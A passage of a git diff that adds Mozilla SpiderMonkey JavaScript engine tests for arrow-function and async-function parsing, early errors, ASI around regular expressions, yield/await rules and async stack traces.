+Function.prototype[Symbol.iterator] = function() { return { next() { return { done: true }; } }; };
+for (let m of 0 ? 1 : a => {})
+ assertEq(true, false);
+for (let [m] of 0 ? 1 : a => {})
+ assertEq(true, false);
+delete Function.prototype[Symbol.iterator];
+
+for (let w in 0 ? 1 : a => {})
+ break;
+for (let [w] in 0 ? 1 : a => {})
+ break;
+
+function* stargen()
+{
+ yield a => {}
+ /Q/g;
+
+ var first = true;
+ Function.prototype[Symbol.iterator] = function() {
+ return {
+ next() {
+ var res = { done: true, value: 8675309 };
+ if (first)
+ {
+ res = { value: "fnord", done: false };
+ first = false;
+ }
+
+ return res;
+ }
+ };
+ };
+
+
+ yield* a => {}
+ /Q/g;
+
+ delete Function.prototype[Symbol.iterator];
+
+ yield 99;
+}
+var gen = stargen();
+assertEq(typeof gen.next().value, "function");
+var result = gen.next();
+assertEq(result.value, "fnord");
+assertEq(result.done, false);
+assertEq(gen.next().value, 99);
+assertEq(gen.next().done, true);
+
+switch (1)
+{
+ case a => {}:
+ break;
+}
+
+assertEq(0[a => {}], undefined);
+
+class Y {};
+class X extends Y { constructor() { super[a => {}](); } };
+
+if (a => {})
+ assertEq(true, true);
+else
+ assertEq(true, false);
+
+switch (a => {})
+{
+}
+
+with (a => {});
+
+assertEq(typeof (a => {}), "function");
+assertEq(typeof (a => b => {}), "function");
+
+for (var x in y => {})
+ continue;
+
+assertEq(eval("a => {}, 17, 42;"), 42);
+assertEq(eval("42, a => {}, 17;"), 17);
+assertEq(typeof eval("17, 42, a => {};"), "function");
+
+assertEq(eval("1 ? 0 : a => {}, 17, 42;"), 42);
+assertEq(eval("42, 1 ? 0 : a => {}, 17;"), 17);
+assertEq(eval("17, 42, 1 ? 0 : a => {};"), 0);
+
+var z = { x: 0 ? 1 : async a => {} };
+assertEq(typeof z.x, "function");
+
+var q = 0 ? 1 : async () => {};
+assertEq(typeof q, "function");
+
+var m = 0 ? 42 : m = foo => {} // ASI
+/Q/g;
+assertEq(typeof m, "function");
+
+var { q: w = 0 ? 1 : a => {} } = {};
+assertEq(typeof w, "function");
+
+Function.prototype.c = 42;
+var { c } = 0 ? 1 : a => {} // ASI
+/Q/g;
+assertEq(c, 42);
+
+var c = 0 ? 1 : a => {}
+/Q/g;
+assertEq(typeof c, "function");
+delete Function.prototype.c;
+
+assertEq(typeof eval(0 ? 1 : a => {}), "function");
+
+var zoom = 1 ? a => {} : 357;
+assertEq(typeof zoom, "function");
+
+var { b = 0 ? 1 : a => {} } = {};
+assertEq(typeof b, "function");
+
+var [k = 0 ? 1 : a => {}] = [];
+assertEq(typeof k, "function");
+
+assertEq(typeof [0 ? 1 : a => {}][0], "function");
+
+Function.prototype[Symbol.iterator] = function() { return { next() { return { done: true }; } }; };
+assertEq([...0 ? 1 : a => {}].length, 0);
+delete Function.prototype[Symbol.iterator];
+
+var props = Object.getOwnPropertyNames({ ...0 ? 1 : a => {} }).sort();
+assertEq(props.length, 0);
+
+function f1(x = 0 ? 1 : a => {}) { return x; }
+assertEq(typeof f1(), "function");
+assertEq(f1(5), 5);
+
+var g1 = (x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof g1(), "function");
+assertEq(g1(5), 5);
+
+var h1 = async (x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof h1, "function");
+
+function f2(m, x = 0 ? 1 : a => {}) { return x; }
+assertEq(typeof f2(1), "function");
+assertEq(f2(1, 5), 5);
+
+var g2 = (m, x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof g2(1), "function");
+assertEq(g2(1, 5), 5);
+
+var h2 = async (m, x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof h2, "function");
+
+function f3(x = 0 ? 1 : a => {}, q) { return x; }
+assertEq(typeof f3(), "function");
+assertEq(f3(5), 5);
+
+var g3 = (x = 0 ? 1 : a => {}, q) => { return x; };
+assertEq(typeof g3(), "function");
+assertEq(g3(5), 5);
+
+var h3 = async (x = 0 ? 1 : a => {}, q) => { return x; };
+assertEq(typeof h3, "function");
+
+var asyncf = async () => {};
+assertEq(typeof asyncf, "function");
+
+var { [0 ? 1 : a => {}]: h } = { "a => {}": "boo-urns!" };
+assertEq(h, "boo-urns!");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js b/js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js
new file mode 100644
index 0000000000..8a53074e3d
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js
@@ -0,0 +1,15 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function t()
+{
+ var x = y => z => {} // ASI occurs here
+ /Q/;
+ return 42;
+}
+
+assertEq(t(), 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/arrow-functions/browser.js b/js/src/tests/non262/arrow-functions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/browser.js
diff --git a/js/src/tests/non262/arrow-functions/shell.js b/js/src/tests/non262/arrow-functions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/shell.js
diff --git a/js/src/tests/non262/arrow-functions/toString-eof.js b/js/src/tests/non262/arrow-functions/toString-eof.js
new file mode 100644
index 0000000000..aba4df15c2
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/toString-eof.js
@@ -0,0 +1,26 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function test(code) {
+ assertEq(eval(code).toString(), code);
+
+ assertEq(eval(code + ` `).toString(), code);
+ assertEq(eval(code + ` \n`).toString(), code);
+
+ assertEq(eval(code + ` // foo`).toString(), code);
+ assertEq(eval(code + ` // foo
+`).toString(), code);
+ assertEq(eval(code + ` // foo
+// foo`).toString(), code);
+ assertEq(eval(code + ` // foo
+// foo
+`).toString(), code);
+}
+test(`() => 1`);
+test(`() => () => 2`);
+test(`() => class {}`);
+test(`() => function() {}`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/arrow-functions/yield-in-arrow.js b/js/src/tests/non262/arrow-functions/yield-in-arrow.js
new file mode 100644
index 0000000000..8b849a1c88
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/yield-in-arrow.js
@@ -0,0 +1,77 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const yieldInParameters = [
+ `(a = yield) => {}`,
+ `(a = yield /a/g) => {}`, // Should parse as division, not yield expression with regexp.
+ `yield => {};`,
+ `(yield) => {};`,
+ `(yield = 0) => {};`,
+ `([yield]) => {};`,
+ `([yield = 0]) => {};`,
+ `([...yield]) => {};`,
+ `({a: yield}) => {};`,
+ `({yield}) => {};`,
+ `({yield = 0}) => {};`,
+];
+
+const yieldInBody = [
+ `() => yield;`,
+ `() => yield /a/g;`,
+ `() => { var x = yield; }`,
+ `() => { var x = yield /a/g; }`,
+
+ `() => { var yield; };`,
+ `() => { var yield = 0; };`,
+ `() => { var [yield] = []; };`,
+ `() => { var [yield = 0] = []; };`,
+ `() => { var [...yield] = []; };`,
+ `() => { var {a: yield} = {}; };`,
+ `() => { var {yield} = {}; };`,
+ `() => { var {yield = 0} = {}; };`,
+
+ `() => { let yield; };`,
+ `() => { let yield = 0; };`,
+ `() => { let [yield] = []; };`,
+ `() => { let [yield = 0] = []; };`,
+ `() => { let [...yield] = []; };`,
+ `() => { let {a: yield} = {}; };`,
+ `() => { let {yield} = {}; };`,
+ `() => { let {yield = 0} = {}; };`,
+
+ `() => { const yield = 0; };`,
+ `() => { const [yield] = []; };`,
+ `() => { const [yield = 0] = []; };`,
+ `() => { const [...yield] = []; };`,
+ `() => { const {a: yield} = {}; };`,
+ `() => { const {yield} = {}; };`,
+ `() => { const {yield = 0} = {}; };`,
+];
+
+
+// Script context.
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ eval(test);
+ assertThrowsInstanceOf(() => eval(`"use strict"; ${test}`), SyntaxError);
+}
+
+// Function context.
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ eval(`function f() { ${test} }`);
+ assertThrowsInstanceOf(() => eval(`"use strict"; function f() { ${test} }`), SyntaxError);
+}
+
+// Generator context.
+for (let test of yieldInParameters) {
+ assertThrowsInstanceOf(() => eval(`function* g() { ${test} }`), SyntaxError);
+}
+for (let test of yieldInBody) {
+ eval(`function* g() { ${test} }`);
+}
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ assertThrowsInstanceOf(() => eval(`"use strict"; function* g() { ${test} }`), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/async-functions/BoundNames.js b/js/src/tests/non262/async-functions/BoundNames.js
new file mode 100644
index 0000000000..a366334da1
--- /dev/null
+++ b/js/src/tests/non262/async-functions/BoundNames.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 1185106;
+var summary = "Bound names of async functions";
+
+print(BUGNUMBER + ": " + summary);
+
+async function test() {}
+assertEq(test.name, "test");
+
+var test2 = (async function test2() {});
+assertEq(test2.name, "test2");
+
+var anon = async function() {};
+assertEq(anon.name, "anon");
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ var tree = Reflect.parse("export default async function() {}", { target: "module" });
+ assertEq(tree.body[0].declaration.id.name, "default");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/EarlyErrors.js b/js/src/tests/non262/async-functions/EarlyErrors.js
new file mode 100644
index 0000000000..eeac4b2541
--- /dev/null
+++ b/js/src/tests/non262/async-functions/EarlyErrors.js
@@ -0,0 +1,51 @@
+var BUGNUMBER = 1185106;
+var summary = "EarlyErrors for async function";
+
+print(BUGNUMBER + ": " + summary);
+
+function assertThrowsSE(code) {
+ assertThrowsInstanceOf(() => Reflect.parse(code), SyntaxError);
+}
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // If FormalParameters Contains AwaitExpression is true.
+ assertThrowsSE("async function a(k = await 3) {}");
+ assertThrowsSE("(async function(k = await 3) {})");
+ assertThrowsSE("(async function a(k = await 3) {})");
+
+ // If BindingIdentifier is `eval` or `arguments`.
+ assertThrowsSE("'use strict'; async function eval() {}");
+ assertThrowsSE("'use strict'; (async function eval() {})");
+
+ assertThrowsSE("'use strict'; async function arguments() {}");
+ assertThrowsSE("'use strict'; (async function arguments() {})");
+
+ // If any element of the BoundNames of FormalParameters also occurs in the
+ // LexicallyDeclaredNames of AsyncFunctionBody.
+ assertThrowsSE("async function a(x) { let x; }");
+ assertThrowsSE("(async function(x) { let x; })");
+ assertThrowsSE("(async function a(x) { let x; })");
+
+ // If FormalParameters contains SuperProperty is true.
+ assertThrowsSE("async function a(k = super.prop) { }");
+ assertThrowsSE("(async function(k = super.prop) {})");
+ assertThrowsSE("(async function a(k = super.prop) {})");
+
+ // If AsyncFunctionBody contains SuperProperty is true.
+ assertThrowsSE("async function a() { super.prop(); }");
+ assertThrowsSE("(async function() { super.prop(); })");
+ assertThrowsSE("(async function a() { super.prop(); })");
+
+ // If FormalParameters contains SuperCall is true.
+ assertThrowsSE("async function a(k = super()) {}");
+ assertThrowsSE("(async function(k = super()) {})");
+ assertThrowsSE("(async function a(k = super()) {})");
+
+ // If AsyncFunctionBody contains SuperCall is true.
+ assertThrowsSE("async function a() { super(); }");
+ assertThrowsSE("(async function() { super(); })");
+ assertThrowsSE("(async function a() { super(); })");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/ErrorStack.js b/js/src/tests/non262/async-functions/ErrorStack.js
new file mode 100644
index 0000000000..9f3adc4f72
--- /dev/null
+++ b/js/src/tests/non262/async-functions/ErrorStack.js
@@ -0,0 +1,103 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1343158;
+var summary = "Error.stack should provide meaningful stack trace in async function";
+
+print(BUGNUMBER + ": " + summary);
+
+let COOKIE = "C0F5DBB89807";
+
+async function thrower() {
+ let stack = new Error().stack; // line 11
+ assertEq(/^thrower@.+ErrorStack.js:11/m.test(stack), true, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:38/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ throw new Error(COOKIE); // line 18
+}
+
+async function inner() {
+ let stack = new Error().stack; // line 22
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:22/m.test(stack), true, toMessage(stack));
+ assertEq(/^middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await Promise.resolve(100);
+
+ stack = new Error().stack; // line 31
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:31/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await thrower(); // line 38
+}
+
+async function middle() {
+ let stack = new Error().stack; // line 42
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^middle@.+ErrorStack.js:42/m.test(stack), true, toMessage(stack));
+ assertEq(/^outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await Promise.resolve(1000);
+
+ stack = new Error().stack; // line 51
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^middle@.+ErrorStack.js:51/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await inner(); // line 58
+}
+
+async function outer() {
+ let stack = new Error().stack; // line 62
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/middle@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^outer@.+ErrorStack.js:62/m.test(stack), true, toMessage(stack));
+ assertEq(/^@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await Promise.resolve(10000);
+
+ stack = new Error().stack; // line 71
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/middle@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^outer@.+ErrorStack.js:71/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await middle(); // line 78
+}
+
+try {
+ getPromiseResult(outer()); // line 82
+ assertEq(true, false);
+} catch (e) {
+ // Re-throw the exception to log the assertion failure properly.
+ if (!e.message.includes(COOKIE))
+ throw e;
+
+ let stack = e.stack;
+ assertEq(/^thrower@.+ErrorStack.js:18/m.test(stack), true, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:38/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+}
+
+function toMessage(stack) {
+ // Provide the stack string in the error message for debugging.
+ return `[stack: ${stack.replace(/\n/g, "\\n")}]`;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/arguments_callee.js b/js/src/tests/non262/async-functions/arguments_callee.js
new file mode 100644
index 0000000000..2a577e0b9d
--- /dev/null
+++ b/js/src/tests/non262/async-functions/arguments_callee.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1185106;
+var summary = "arguments.callee in sloppy mode should return wrapped function";
+
+print(BUGNUMBER + ": " + summary);
+
+async function decl1() {
+ return arguments.callee;
+}
+assertEventuallyEq(decl1(), decl1);
+
+var expr1 = async function foo() {
+ return arguments.callee;
+};
+assertEventuallyEq(expr1(), expr1);
+
+var expr2 = async function() {
+ return arguments.callee;
+};
+assertEventuallyEq(expr2(), expr2);
+
+var obj = {
+ async method1() {
+ return arguments.callee;
+ }
+};
+assertEventuallyEq(obj.method1(), obj.method1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/async-contains-unicode-escape.js b/js/src/tests/non262/async-functions/async-contains-unicode-escape.js
new file mode 100644
index 0000000000..d53dff696c
--- /dev/null
+++ b/js/src/tests/non262/async-functions/async-contains-unicode-escape.js
@@ -0,0 +1,54 @@
+var BUGNUMBER = 1315815;
+var summary = "async/await containing escapes";
+
+print(BUGNUMBER + ": " + summary);
+
+// Using "eval" as the argument name is fugly, but it means evals below are
+// *direct* evals, and so their effects in the unescaped case won't extend
+// past each separate |test| call (as would happen if we used a different name
+// that made each eval into an indirect eval, affecting code in the global
+// scope).
+function test(code, eval)
+{
+ var unescaped = code.replace("###", "async");
+ var escaped = code.replace("###", "\\u0061");
+
+ assertThrowsInstanceOf(() => eval(escaped), SyntaxError);
+ eval(unescaped);
+}
+
+test("### function f() {}", eval);
+test("var x = ### function f() {}", eval);
+test("### x => {};", eval);
+test("var x = ### x => {}", eval);
+test("### () => {};", eval);
+test("var x = ### () => {}", eval);
+test("### (y) => {};", eval);
+test("var x = ### (y) => {}", eval);
+test("({ ### x() {} })", eval);
+test("var x = ### function f() {}", eval);
+
+if (typeof parseModule === "function")
+ test("export default ### function f() {}", parseModule);
+
+assertThrowsInstanceOf(() => eval("async await => 1;"),
+ SyntaxError);
+assertThrowsInstanceOf(() => eval("async aw\\u0061it => 1;"),
+ SyntaxError);
+
+var async = 0;
+assertEq(\u0061sync, 0);
+
+var obj = { \u0061sync() { return 1; } };
+assertEq(obj.async(), 1);
+
+async = function() { return 42; };
+
+var z = async(obj);
+assertEq(z, 42);
+
+var w = async(obj)=>{};
+assertEq(typeof w, "function");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/async-function-declaration-in-modules.js b/js/src/tests/non262/async-functions/async-function-declaration-in-modules.js
new file mode 100644
index 0000000000..41cc37bf33
--- /dev/null
+++ b/js/src/tests/non262/async-functions/async-function-declaration-in-modules.js
@@ -0,0 +1,13 @@
+// |reftest| module
+
+async function f() {
+ return "success";
+}
+
+var AsyncFunction = (async function(){}).constructor;
+
+assertEq(f instanceof AsyncFunction, true);
+
+f().then(v => {
+ reportCompare("success", v);
+});
diff --git a/js/src/tests/non262/async-functions/async-property-name-error.js b/js/src/tests/non262/async-functions/async-property-name-error.js
new file mode 100644
index 0000000000..926794e5d0
--- /dev/null
+++ b/js/src/tests/non262/async-functions/async-property-name-error.js
@@ -0,0 +1,21 @@
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(() => { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(() => { eval(code); }, SyntaxError, "eval:" + code);
+ var ieval = eval;
+ assertThrowsInstanceOf(() => { ieval(code); }, SyntaxError, "indirect eval:" + code);
+}
+
+assertSyntaxError(`({async async: 0})`);
+assertSyntaxError(`({async async})`);
+assertSyntaxError(`({async async, })`);
+assertSyntaxError(`({async async = 0} = {})`);
+
+for (let decl of ["var", "let", "const"]) {
+ assertSyntaxError(`${decl} {async async: a} = {}`);
+ assertSyntaxError(`${decl} {async async} = {}`);
+ assertSyntaxError(`${decl} {async async, } = {}`);
+ assertSyntaxError(`${decl} {async async = 0} = {}`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/await-error.js b/js/src/tests/non262/async-functions/await-error.js
new file mode 100644
index 0000000000..6fa6143efc
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-error.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1317153;
+var summary = "await outside of async function should provide better error";
+
+print(BUGNUMBER + ": " + summary);
+
+let caught = false;
+try {
+ eval("await 10");
+} catch(e) {
+ assertEq(e.message.includes("await is only valid in"), true);
+ caught = true;
+}
+assertEq(caught, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/await-in-arrow-parameters.js b/js/src/tests/non262/async-functions/await-in-arrow-parameters.js
new file mode 100644
index 0000000000..ebb4ea9dac
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-in-arrow-parameters.js
@@ -0,0 +1,94 @@
+var ieval = eval;
+var AsyncFunction = async function(){}.constructor;
+
+var functionContext = {
+ Function: {
+ constructor: Function,
+ toSourceBody: code => `function f() { ${code} }`,
+ toSourceParameter: code => `function f(x = ${code}) { }`,
+ },
+ AsyncFunction: {
+ constructor: AsyncFunction,
+ toSourceBody: code => `async function f() { ${code} }`,
+ toSourceParameter: code => `async function f(x = ${code}) { }`,
+ },
+};
+
+function assertSyntaxError(kind, code) {
+ var {constructor, toSourceBody, toSourceParameter} = functionContext[kind];
+ var body = toSourceBody(code);
+ var parameter = toSourceParameter(code);
+
+ assertThrowsInstanceOf(() => { constructor(code); }, SyntaxError, constructor.name + ":" + code);
+ assertThrowsInstanceOf(() => { constructor(`x = ${code}`, ""); }, SyntaxError, constructor.name + ":" + code);
+
+ assertThrowsInstanceOf(() => { eval(body); }, SyntaxError, "eval:" + body);
+ assertThrowsInstanceOf(() => { ieval(body); }, SyntaxError, "indirect eval:" + body);
+
+ assertThrowsInstanceOf(() => { eval(parameter); }, SyntaxError, "eval:" + parameter);
+ assertThrowsInstanceOf(() => { ieval(parameter); }, SyntaxError, "indirect eval:" + parameter);
+}
+
+function assertNoSyntaxError(kind, code) {
+ var {constructor, toSourceBody, toSourceParameter} = functionContext[kind];
+ var body = toSourceBody(code);
+ var parameter = toSourceParameter(code);
+
+ constructor(code);
+ constructor(`x = ${code}`, "");
+
+ eval(body);
+ ieval(body);
+
+ eval(parameter);
+ ieval(parameter);
+}
+
+function assertSyntaxErrorAsync(code) {
+ assertNoSyntaxError("Function", code);
+ assertSyntaxError("AsyncFunction", code);
+}
+
+function assertSyntaxErrorBoth(code) {
+ assertSyntaxError("Function", code);
+ assertSyntaxError("AsyncFunction", code);
+}
+
+
+// Bug 1353691
+// |await| expression is invalid in arrow functions in async-context.
+// |await/r/g| first parses as |AwaitExpression RegularExpressionLiteral|, when reparsing the
+// arrow function, it is parsed as |IdentRef DIV IdentRef DIV IdentRef|. We need to ensure in this
+// case, that we still treat |await| as a keyword and hence throw a SyntaxError.
+assertSyntaxErrorAsync("(a = await/r/g) => {}");
+assertSyntaxErrorBoth("async(a = await/r/g) => {}");
+
+// Also applies when nesting arrow functions.
+assertSyntaxErrorAsync("(a = (b = await/r/g) => {}) => {}");
+assertSyntaxErrorBoth("async(a = (b = await/r/g) => {}) => {}");
+assertSyntaxErrorBoth("(a = async(b = await/r/g) => {}) => {}");
+assertSyntaxErrorBoth("async(a = async(b = await/r/g) => {}) => {}");
+
+
+// Bug 1355860
+// |await| cannot be used as rest-binding parameter in arrow functions in async-context.
+assertSyntaxErrorAsync("(...await) => {}");
+assertSyntaxErrorBoth("async(...await) => {}");
+
+assertSyntaxErrorAsync("(a, ...await) => {}");
+assertSyntaxErrorBoth("async(a, ...await) => {}");
+
+// Also test nested arrow functions.
+assertSyntaxErrorAsync("(a = (...await) => {}) => {}");
+assertSyntaxErrorBoth("(a = async(...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = (...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = async(...await) => {}) => {}");
+
+assertSyntaxErrorAsync("(a = (b, ...await) => {}) => {}");
+assertSyntaxErrorBoth("(a = async(b, ...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = (b, ...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = async(b, ...await) => {}) => {}");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js b/js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js
new file mode 100644
index 0000000000..ef4b84d99b
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1478910;
+var summary = 'JSMSG_AWAIT_IN_PARAMETER error for incomplete await expr in async function/generator parameter';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ let testAwaitInDefaultExprOfAsyncFunc = (code) => {
+ assertThrowsInstanceOf(() => eval(code), SyntaxError, "await expression can't be used in parameter");
+ };
+
+ let testNoException = (code) => {
+ assertEq(completesNormally(code), true);
+ };
+
+ // https://www.ecma-international.org/ecma-262/9.0/
+
+ // Async Generator Function Definitions : AsyncGeneratorDeclaration & AsyncGeneratorExpression
+ // async function* f() {}
+ // f = async function*() {}
+ testAwaitInDefaultExprOfAsyncFunc("async function* f(a = await) {}");
+ testAwaitInDefaultExprOfAsyncFunc("let f = async function*(a = await) {}");
+
+ testAwaitInDefaultExprOfAsyncFunc("function f(a = async function*(a = await) {}) {}");
+ testAwaitInDefaultExprOfAsyncFunc("function f() { a = async function*(a = await) {}; }");
+
+ testAwaitInDefaultExprOfAsyncFunc("async function* f() { a = async function*(a = await) {}; }");
+ testNoException("async function* f() { let a = function(a = await) {}; }");
+
+ testNoException("async function* f(a = async function*() { await 1; }) {}");
+
+ // Async Function Definitions : AsyncFunctionDeclaration & AsyncFunctionExpression
+ // async function f() {}
+ // f = async function() {}
+ testAwaitInDefaultExprOfAsyncFunc("async function f(a = await) {}");
+ testAwaitInDefaultExprOfAsyncFunc("let f = async function(a = await) {}");
+
+ testAwaitInDefaultExprOfAsyncFunc("function f(a = async function(a = await) {}) {}");
+ testAwaitInDefaultExprOfAsyncFunc("function f() { a = async function(a = await) {}; }");
+
+ testAwaitInDefaultExprOfAsyncFunc("async function f() { a = async function(a = await) {}; }");
+ testNoException("async function f() { let a = function(a = await) {}; }");
+
+ testNoException("async function f(a = async function() { await 1; }) {}");
+
+ // Async Arrow Function Definitions : AsyncArrowFunction
+ // async () => {}
+ testAwaitInDefaultExprOfAsyncFunc("async (a = await) => {}");
+
+ testNoException("async (a = async () => { await 1; }) => {}");
+
+ reportCompare(true, true, summary);
+}
diff --git a/js/src/tests/non262/async-functions/await-newline.js b/js/src/tests/non262/async-functions/await-newline.js
new file mode 100644
index 0000000000..dc42fa481a
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-newline.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1331009;
+var summary = "Newline is allowed between await and operand";
+
+print(BUGNUMBER + ": " + summary);
+
+var expr = async function foo() {
+ return await
+ 10;
+};
+assertEventuallyEq(expr(), 10);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/browser.js b/js/src/tests/non262/async-functions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/async-functions/browser.js
diff --git a/js/src/tests/non262/async-functions/construct-newtarget.js b/js/src/tests/non262/async-functions/construct-newtarget.js
new file mode 100644
index 0000000000..7d75d0c939
--- /dev/null
+++ b/js/src/tests/non262/async-functions/construct-newtarget.js
@@ -0,0 +1,79 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const AsyncFunction = async function(){}.constructor;
+
+
+// Test subclassing %AsyncFunction% works correctly.
+class MyAsync extends AsyncFunction {}
+
+var fn = new MyAsync();
+assertEq(fn instanceof MyAsync, true);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
